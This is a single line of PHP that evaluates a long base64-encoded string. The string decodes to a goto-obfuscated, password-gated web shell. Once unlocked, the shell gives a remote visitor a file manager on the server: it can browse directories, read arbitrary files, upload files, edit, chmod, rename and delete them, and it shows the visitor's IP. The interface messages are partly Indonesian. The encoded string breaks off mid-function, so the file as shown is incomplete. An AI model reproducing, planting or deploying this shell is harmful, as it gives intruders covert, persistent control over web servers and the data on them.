eval(''.base64_decode('PD9waHAgZ290byBnYWRmeHA7bmt4OiRfX19fX19fLj0ibyI7Z290byBraW50aDt4Y3llOiRfX19fX19fLj0iZSI7Z290byBmZ2JxemM7cmxwY3lpOiRfX19fX19fLj0iciI7Z290byB1Zm1kcXY7a2R4dTokX19fX19fXy49ImgiO2dvdG8gamxzO2J6aGxvOiRfX19fX19fLj0icCI7Z290byBlbnR3O2pwbjokX19fX19fXy49InAiO2dvdG8gcWFoZ3Y7bXFjOiRfX19fX19fLj0ibSI7Z290byBsaWd6cjtqYWVyeDokX19fX19fXy49InUiO2dvdG8ga2lhbHg7b2VqcGN3OiRfX19fX19fLj0iJyI7Z290byBhZHVxO3R2ZXJ3OiRfX19fX19fID0iPCI7Z290byBudmdrcDt6ZXNycTokX19fX19fXy49ImkiO2dvdG8gbWlndztqbHM6JF9fX19fX18uPSJvIjtnb3RvIHpsc2c7ZHFvOiRfX19fX19fLj0iZSI7Z290byBvbXp1O2tpbnRoOiRfX19fX19fLj0iciI7Z290byB4YXdvdXk7am9uaWM6JF9fX19fX18uPSJzIjtnb3RvIHphZWs7eWRndzokX19fX19fXy49IiciO2dvdG8ganBuO2N3YW15djokX19fX19fXy49Il8iO2dvdG8gYnV2c2xyO2pyaXZlejokX19fX19fXy49InQiO2dvdG8genJpcGg7aHVrYmxkOiRfX19fX19fLj0ibSI7Z290byB6ZXNycTt2aWI6JF9fX19fX18uPSInIjtnb3RvIG5oZ2lmO2tobHN2bjokX19fX19fXy49Im8iO2dvdG8gbHJ2dGp1O2tzenQ6JF9fX19fX18uPSJhIjtnb3RvIGVkejtjeWo6JF9fX19fX18uPSJuIjtnb3RvIHJqeDtrb3BheXY6JF9fX19fX18uPSJuIjtnb3RvIHZpdW5iO3pwZG1yOiRfX19fX19fLj0ibiI7Z290byBiemhsbzt6YWVrOiRfX19fX19fLj0idCI7Z290byB0cnl4O29zcWg6JF9fX19fX18uPSJzIjtnb3RvIHdrZ29mdTtscGF5bzokX19fX19fXy49Ii8iO2dvdG8gcmxtO21zcW96dDokX19fX19fXy49ImEiO2dvdG8gdmR1bWd5O3BuZjokX19fX19fXy49IiciO2dvdG8gYnV5amU7cW12d3N6OiRfX19fX19fLj0icCI7Z290byBmcHhpO25qczokX19fX19fX19fXz1tZDUoJF9fX19fX19fX18pO2dvdG8gaGdkdztrZHk6JF9fX19fX18uPSJjIjtnb3RvIHdvbG47emFkYjokX19fX19fXy49IjEiO2dvdG8gbHVvaXF5O2hqZXA6JF9fX19fX18uPSJnIjtnb3RvIGN3YW15djtuZGg6JF9fX19fX18uPSJiIjtnb3RvIHpraWF5bTtqaXBoa3k6JF9fX19fX18uPSJpIjtnb3RvIGZyaDtqdG5wbzokX19fX19fXy49Ij0iO2dvdG8gcHRleGh5O3FsZ3Y6JF9fX19fX18uPSI9Ijtnb3RvIHZpYjtraWw6JF9fX19fX19fX18uPSRfX187Z290byBuanM7a2F1bnI6JF9fX19fX18uPSJ1Ijtnb3RvIGVqYnI7b216dTokX19fX19fXy49InQiO2dvdG8ga2R4dTt2aXVuYjokX19fX19fXy49ImEiO2dvdG8gcWJ5dDtxZ3Q6JF9fXy49ImciO2dvdG8gYmFvcDt1Zm1kcXY6JF9fX19fX18uPSJtIjtnb3RvIHphZGI7b2F5OiRfX19fX19fLj0ieSI7Z290byBqeGQ7bHJ2dGp1OiRfX19fX19fLj0iciI7Z290byBtcWM7aGdkdzokX19fX19fX19fXz1zdWJzdHIoJF9fX19fX19fX18sMCw2KTtnb3RvIHVweXI7a2Z6OiRfX19fX19fLj0ibiI7Z290byBtc3FvenQ7Z2NwbWRhOiRfX19fX19fLj0iICI7Z290byBqdG9zO3FieXQ6JF9fX19fX18uPSJtIjtnb3RvIHhjeWU7cmxtOiRfX19fX19fLj0iZiI7Z290byBua3g7cmp4OiRfX19fX19fLj0iYSI7Z290byBtdnd1bztvaWdtYjokX19fX19fXy49Ij4iO2dvdG8gZHZmO2Jhb3A6JF9fXy49Il8iO2dvdG8gamJuY2lrO2J1dnNscjokX19fX19fXy49Im0iO2dvdG8gamlwaGt5O3VjZGx6ZTokX19fX19fXy49IiAiO2dvdG8ga2Z6O2J1eWplOiRfX19fX19fLj0icyI7Z290byB5cGE7cHRleGh5OiRfX19fX19fLj0iJyI7Z290byBmcnk7YXpjbnB3OiRfX19fX19fLj0icCI7Z290byB5cmc7anRvczokX19fX19fXy49ImEiO2dvdG8ga2R5O252Z2twOiRfX19fX19fLj0iZiI7Z290byBraGxzdm47ZnJoOiRfX19fX19fLj0ibSI7Z290byBrc3p0O21sdnhlaTokX19fX19fXy49ImEiO2dvdG8gY3hmbWp3O2dva206JF8uPSJQIjtnb3RvIHFkbDttcGNnOiRfX19fX19fLj0iPCI7Z290byBzeWthcW07Z3hoY2k6JF9fXz0ibCI7Z290byBxZ3Q7emxzZzokX19fX19fXy49ImQiO2dvdG8gdmp5O21wYzokX19fX19fXy49Ij4iO2dvdG8gemZzaXh1O3Nsd2toOiRfX19fX19fLj0iZSI7Z290byBqdG5wbztsaWd6cjokX19fX19fXy49IiAiO2dvdG8gY3lqO2xpcTokX19fX19fXy49InQiO2dvdG8gb2F5O3BpdjokX19fX19fXy49IiAiO2dvdG8gYW12O2NlcDokX19fX19fXy49ImkiO2dvdG8genBkbXI7dGVzZDokX19fX19fXy49InQiO2dvdG8gdWNkbHplO3lwYTokX19fX19fXy49InUiO2dvdG8gbmRoO2tvbnk6JF9fX19fX18uPSJuIjtnb3RvIHFsZ3Y7ZmpvZzokXy49IlMiO2dvdG8gdGhnZW07cW1vcmJhOiRfLj0iTyI7Z290byBmam9nO3ZpbG86aWYoZW1wdHkoJF9TRVNTSU9OWyRfX19dKXx8JF9TRVNTSU9OWyRfX19dIT0kX19fX19fX19fXyl7ZWNobyAkX19fX19fXzsgZXhpdDt9Z290byB4amJlYTt2aWFid206JF9fX19fX18uPSIgIjtnb3RvIHNrejtkempsOiRfX19fX19fLj0iICI7Z290byB4YWZkcztjcnBhOiRfX18uPSJpIjtnb3RvIGd1ZWt6O2VkejokX19fX19fXy49IiciO2dvdG8gdmlhYndtO3pmc2l4dTokX19fX19fXy49IjwiO2dvdG8gbHBheW87dmp5OiRfX19fX19fLj0iPSI7Z290byB5ZGd3O2lid3FvOiRfX19fX19fLj0iPSI7Z290byB6Zms7emtpYXltOiRfX19fX19fLj0ibSI7Z290byBnc2F1bmM7Z3htOiRfLj0iVCI7Z290byBnb2ttO3FhaGd2OiRfX19fX19fLj0ibyI7Z290byBqb25pYzt6cWk6JF8uPSJUIjtnb3RvIGd4bTtlcGN0cW46JF9fX19fX18uPSJlIjtnb3RvIHh0a3VoZTt6cm15aTokX19fX19fXy49Im4iO2dvdG8gcW12d3N6O3R1d2ZyaTokX19fX19fXy49ImIiO2dvdG8gaHVrYmxkO2d1ZWt6OiRfX18uPSJtIjtnb3RvIHJ6dmxnO2xvbWU6JF9fX19fX18uPSJlIjtnb3RvIGlid3FvO3Rob2I6JF9fX19fX18uPSJsIjtnb3RvIGhqZXA7a2lqYXN6OiRfX19fX19fLj0ieCI7Z290byBoYWtyO3h0a3VoZTokX19fX19fXy49Ij0iO2dvdG8gbGFycztnYWRmeHA6c2Vzc2lvbl9zdGFydCgpO2dvdG8gZ3hoY2k7d2tnb2Z1OiRfX19fX19fLj0idSI7Z290byB0dXdmcmk7aHBvZm5yOiRfX19fX19fLj0ieSI7Z290byBhemNucHc7aWtxenN1OiRfX19fX19fLj0iJyI7Z290byBkempsO2xqenM6JF9fX19fX18uPSI+Ijtnb3RvIG1wY2c7b2dldnE6JF9fX19fX18uPSJ0Ijtnb3RvIGlrcXpzdTtsdW9pcXk6JF9fX19fX18uPSInIjtnb3RvIGdjcG1kYTt6eGh0dzokX19fX19fXy49IiciO2dvdG8genNnYTthZHVxOiRfX19fX19fLj0idCI7Z290byBncGpteWs7cnp2bGc6JF9fXy49ImEiO2dvdG8gdHZlcnc7dGhnZW06JF8uPSJUIjtnb3RvIHp3Z247ZWpicjokX19fX19fXy49ImUiO2dvdG8gb2djO2hha3I6JF9fX19fX18uPSJ0Ijtnb3RvIGl6YWN0bjt1Y3ZhOiRfLj0iSCI7Z290byBxbW9yYmE7eXJnOiRfX19fX19fLj0iZSI7Z290byBxZ2g7aXphY3RuOiRfX19fX19fLj0iJyI7Z290byBsanpzO2ZweGk6JF9fX19fX18uPSJ1Ijtnb3RvIGpyaXZlejt4YWZkczokX19fX19fXy49InYiO2dvdG8gbWx2eGVpO2NheWtpOiRfX19fX19fLj0ibyI7Z290byBrb255O3dpc3hkeTokX19fX19fXy49Ij4iO2dvdG8gY25wd3g7Z3d0OiRfX19fX19fLj0idCI7Z290byB6eGh0dztza3o6JF9fX19fX18uPSJ0Ijtnb3RvIGhwb2ZucjtkdmY6JF89IkgiO2dvdG8genFpO2pibmNpazokX19fLj0ibSI7Z290byBjcnBhO2ZyeTokX19fX19fXy49ImYiO2dvdG8gemZ4O2NucHd4OiRfX19fX19fLj0iPCI7Z290byBjZXA7ZnBpbnU6JF9fX19fX18uPSJpIjtnb3RvIG9nZXZxO3pzZ2E6JF9fX19fX18uPSIgIjtnb3RvIGxpcTtvZ2M6JF9fX19fX18uPSI9Ijtnb3RvIGR0Z3B6O3pmazokX19fX19fXy49IiciO2dvdG8gdGhvYjthbXY6JF9fX19fX18uPSJtIjtnb3RvIGRxbztnc2F1bmM6JF9fX19fX18uPSJpIjtnb3RvIGd3dDtncGpteWs6JF9fX19fX18uPSJlIjtnb3RvIGtpamFzejt6d2duOiRfX19fX19fX19fPSRfU0VSVkVSWyRfXTtnb3RvIGtpbDt5YWw6JF9fX19fX18uPSJpIjtnb3RvIGNheWtpO3FseHlpYzokX19fX19fXy49Im0iO2dvdG8gZnBpbnU7ZmdicXpjOiRfX19fX19fLj0iPSI7Z290byBwbmY7bWlndzokX19fX19fXy49InQiO2dvdG8gdWlqbmJhO3pmeDokX19fX19fXy49Im8iO2dvdG8gcmxwY3lpO2N4Zm1qdzokX19fX19fXy49ImwiO2dvdG8ga2F1bnI7c3lrYXFtOiRfX19fX19fLj0iaSI7Z290byB6cm15aTtkdGdwejokX19fX19fXy49IiciO2dvdG8gb3NxaDtqeGQ6JF9fX19fX18uPSJwIjtnb3RvIGVwY3Rxbjt4YXdvdXk6JF9fX19fX18uPSJtIjtnb3RvIG9pZ21iO3ZkdW1neTokX19fX19fXy49Im0iO2dvdG8gbG9tZTt3b2xuOiRfX19fX19fLj0idCI7Z290byB5YWw7ZW50dzokX19fX19fXy49InUiO2dvdG8gdGVzZDtxZGw6JF8uPSJfIjtnb3RvIHVjdmE7a2lhbHg6JF9fX19fX18uPSJiIjtnb3RvIHFseHlpYzt0cnl4OiRfX19fX19fLj0iJyI7Z290byB3aXN4ZHk7bXZ3dW86JF9fX19fX18uPSJtIjtnb3RvIHNsd2toO3dicjokX19fX19fXy49InMiO2dvdG8gamFlcng7dWlqbmJhOiRfX19fX19fLj0iJyI7Z290byBtcGM7enJpcGg6JF9fX19fX18uPSIgIjtnb3RvIGtvcGF5djtxZ2g6JF9fX19fX18uPSI9Ijtnb3RvIG9lanBjdztuaGdpZjokX19fX19fXy49IiciO2dvdG8gcGl2O2xhcnM6JF9fX19fX18uPSInIjtnb3RvIHdicjt1cHlyOmlmKGlzc2V0KCRfUE9TVFskX19fXSkpeyRfU0VTU0lPTlskX19fXT10cmltKCRfUE9TVFskX19fXSk7fWdvdG8gdmlsbzt4amJlYTo7Pz48P3BocApAc2Vzc2lvbl9zdGFydCgpOwpAc2V0X3RpbWVfbGltaXQoMCk7CgplY2hvICc8IURPQ1RZUEUgSFRNTD4KCjxIVE1MPgoKPEhFQUQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxzdHlsZT4KCmJvZHl7Cgpmb250LWZhbWlseTogbW9ub3NwYWNlOwoKZm9udC13ZWlnaHQ6IGJvbGQ7Cgpmb250LXNpemU6IDE4cHg7CgpiYWNrZ3JvdW5kLWNvbG9yOiAjYzVjNWM1OwoKY29sb3I6ICMwMDA7Cgp9CgojY29udGVudCB0cjpob3ZlcnsKCmJhY2tncm91bmQtY29sb3I6ICNjY2M7Cgp9CgojY29udGVudCAuZmlyc3R7CgpiYWNrZ3JvdW5kLWNvbG9yOiAjY2NjOwoKfQoKI2NvbnRlbnQgLmZpcnN0OmhvdmVyewoKYmFja2dyb3VuZC1jb2xvcjogI2NjYzsKCn0KCnRhYmxlewoKYm9yZGVyOiAzcHggIzAwMCBzb2xpZDsKCn0KCmF7Cgpjb2xvcjogIzAwMDsKCnRleHQtZGVjb3JhdGlvbjogbm9uZTsKCn0KCmE6aG92ZXJ7Cgpjb2xvcjogIzAwZjsKCn0KCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsKCmJvcmRlcjogMXB4ICMwMDAgc29saWQ7CgotbW96LWJvcmRlci1yYWRpdXM6IDVweDsKCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7Cgpib3JkZXItcmFkaXVzOjVweDsKCn0KCmlucHV0IHsKCiBmb250LXNpemU6IDE4cHg7CgogZm9udC13ZWlnaHQ6IGJvbGQ7CgogcGFkZGluZzogNXB4OwoKfQoKc2VsZWN0IHsKCmZvbnQtc2l6ZTogMTlweAoKfQoKdGV4dGFyZWEgewoKZm9udC1zaXplOiAxMHB4Cgp9Cgp0ZCwgdHIgeyBwYWRkaW5nOiAycHggNXB4OyB9CgoKCjwvc3R5bGU+Cgo8L0hFQUQ+Cgo8Qk9EWT4KCjxociB3aWR0aD0iOTIwIiBjb2xvcj0iYmxhY2siLz4KCjxociB3aWR0aD0iOTIwIiBjb2xvcj0iYmxhY2siLz48Y2VudGVyPjxwPjxoMj5Zb3VyIElQIDogJyAuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uICc8L2gyPjwvcD48L2NlbnRlcj4KCjxociB3aWR0aD0iOTIwIiBjb2xvcj0iYmxhY2siLz4KCjx0YWJsZSB3aWR0aD0iOTIwIiBib3JkZXI9IjFweCIgY2VsbHBhZGRpbmc9IjciIGNlbGxzcGFjaW5nPSIwIiBhbGlnbj0iY2VudGVyIj4KCjx0cj48dGQgc3R5bGU9InBhZGRpbmc6IDhweCI+Q3VycmVudCBQYXRoIDogJzsKCmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKCn1lbHNlewoKJHBhdGggPSBnZXRjd2QoKTsKCn0KCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoKJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOwoKCgpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewoKaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7CgokYSA9IHRydWU7CgplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7Cgpjb250aW51ZTsKCn0KCmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOwoKZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsKCmZvcigkaT0wOyRpPD0kaWQ7JGkrKyl7CgplY2hvICIkcGF0aHNbJGldIjsKCmlmKCRpICE9ICRpZCkgZWNobyAiLyI7Cgp9CgplY2hvICciPicuJHBhdC4nPC9hPi8nOwoKfQoKZWNobyAnPC90ZD48L3RyPjx0cj48dGQ+JzsKCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewoKaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CgplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlVwbG9hZCBTdWNjZXNzLi48L2ZvbnQ+PGJyIC8+JzsKCn1lbHNlewoKZWNobyAnPGZvbnQgY29sb3I9InJlZCI+VXBsb2FkIEdhZ2FsLi48L2ZvbnQ+PGJyIC8+JzsKCn0KCn0KCmVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+CgpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPgoKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCIgLz4KCjwvZm9ybT4KCjwvdGQ+PC90cj4nOwoKaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewoKZWNobyAiPHRyPjx0ZCBzdHlsZT0ncGFkZGluZzogOHB4Jz5DdXJyZW50IEZpbGUgOiAiOwoKZWNobyAkX0dFVFsnZmlsZXNyYyddOwoKZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKCmVjaG8oJzxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC9wcmU+Jyk7Cgp9ZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyl7CgplY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7CgppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpewoKaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsKCmVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+Q2htb2QgU3VjY2Vzcy4uPC9mb250PjxiciAvPic7Cgp9ZWxzZXsKCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkNobW9kIEdhZ2FsLi48L2ZvbnQ+PGJyIC8+JzsKCn0KCn0KCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CgpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPgoKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUiIC8+Cgo8L2Zvcm0+JzsKCn1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7CgppZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewoKaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewoKZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5SZW5hbWUgQmVyaGFzaWwuLjwvZm9udD48YnIgLz4nOwoKfWVsc2V7CgplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5SZW5hbWUgR2FnYWwuLjwvZm9udD48YnIgLz4nOwoKfQoKJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsKCn0KCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CgpOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0icmVuYW1lIj4KCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTYXZlIiAvPgoKPC9mb3JtPic7Cgp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsKCmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKCiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CgppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKCmVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RWRpdCBGaWxlIEJlcmhhc2lsLi48L2ZvbnQ+PGJyIC8+JzsKCn1lbHNlewoKZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEdhZ2FsLi48L2ZvbnQ+PGJyIC8+JzsKCn0KCmZjbG9zZSgkZnApOwoKfQoKZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KCjx0ZXh0YXJlYSBjb2xzPTEzMCByb3dzPTEwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPgoKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUiIC8+Cgo8L2Zvcm0+JzsKCn0KCmVjaG8gJzwvY2VudGVyPic7Cgp9ZWxzZXsKCmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOwoKaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKCmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKCmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7CgplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBEaXJlY3RvcnkgQmVyaGFzaWwuLjwvZm9udD48YnIgLz4nOwoKfWVsc2V7CgplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5EZWxldGUgRGlyZWN0b3J5IEdhZ2FsLi48L2ZvbnQ+PGJyIC8+JzsKCn0KCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpewoKZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBCZXJoYXNpbC4uPC9mb250PjxiciAvPic7Cgp9ZWxzZXsKCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBGaWxlIEdhZ2FsLi48L2ZvbnQ+PGJyIC8+JzsKCn0KCn0KCn0KCmVjaG8gJzwvY2VudGVyPic7Cgokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOwoKZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI5MjAiIGJvcmRlcj0iMS41cHgiIGNlbGxwYWRkaW5nPSI1IiBjZWxsc3BhY2luZz0iMCIgYWxpZ249ImNlbnRlciI+Cgo8dHIgY2xhc3M9ImZpcnN0Ij4KCjx0ZD48Y2VudGVyPk5hbWU8L2NlbnRlcj48L3RkPgoKPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+Cgo8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+Cgo8dGQ+PGNlbnRlcj5PcHRpb25zPC9jZW50ZXI+PC90ZD4KCjwvdHI+JzsKCgoKZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsKCmlmKCFpc19kaXIoIiRwYXRoLyRkaXIiKSB8fCAkZGlyID09ICcuJyB8fCAkZGlyID09ICcuLicpIGNvbnRpbnVlOwoKZWNobyAiPHRyPgoKPHRkPjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgoKPHRkPjxjZW50ZXI+LS08L2NlbnRlcj48L3RkPgoKPHRkPjxjZW50ZXI+IjsKCmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJCbHVlIj4nOwoKZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwoKZWNobyBwZXJtcygiJHBhdGgvJGRpciIpOwoKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7CgoKCmVjaG8gIjwvY2VudGVyPjwvdGQ+Cgo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+Cgo8c2VsZWN0IG5hbWU9XCJvcHRcIj4KCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4KCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+Cgo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+Cgo8L3NlbGVjdD4KCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPgoKPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoKPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGRpclwiPgoKPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk9rZVwiIC8+Cgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KCjwvdHI+IjsKCn0KCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsKCmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpewoKaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOwoKJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwoKJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsKCmlmKCRzaXplID49IDEwMjQpewoKJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwoKfWVsc2V7Cgokc2l6ZSA9ICRzaXplLicgS0InOwoKfQoKCgplY2hvICI8dHI+Cgo8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoKPHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KCjx0ZD48Y2VudGVyPiI7CgppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9IkJsdWUiPic7CgplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwoKZWNobyBwZXJtcygiJHBhdGgvJGZpbGUiKTsKCmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7CgplY2hvICI8L2NlbnRlcj48L3RkPgoKPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPgoKPHNlbGVjdCBuYW1lPVwib3B0XCI+Cgo8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+Cgo8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+Cgo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgoKPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPgoKPG9wdGlvbiB2YWx1ZT1cImVkaXRcIj5FZGl0PC9vcHRpb24+Cgo8L3NlbGVjdD4KCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImZpbGVcIj4KCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRmaWxlXCI+Cgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoKPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk9rZVwiIC8+Cgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KCjwvdHI+IjsKCn0KCmVjaG8gJzwvdGFibGU+Cgo8L2Rpdj4nOwoKfQoKZWNobyAnPGNlbnRlcj48aHIgd2lkdGg9IjkyMCIgY29sb3I9ImJsYWNrIi8+IDxjZW50ZXI+Cgo8L0JPRFk+Cgo8L0hUTUw+JzsKCmZ1bmN0aW9uIHBlcm1zKC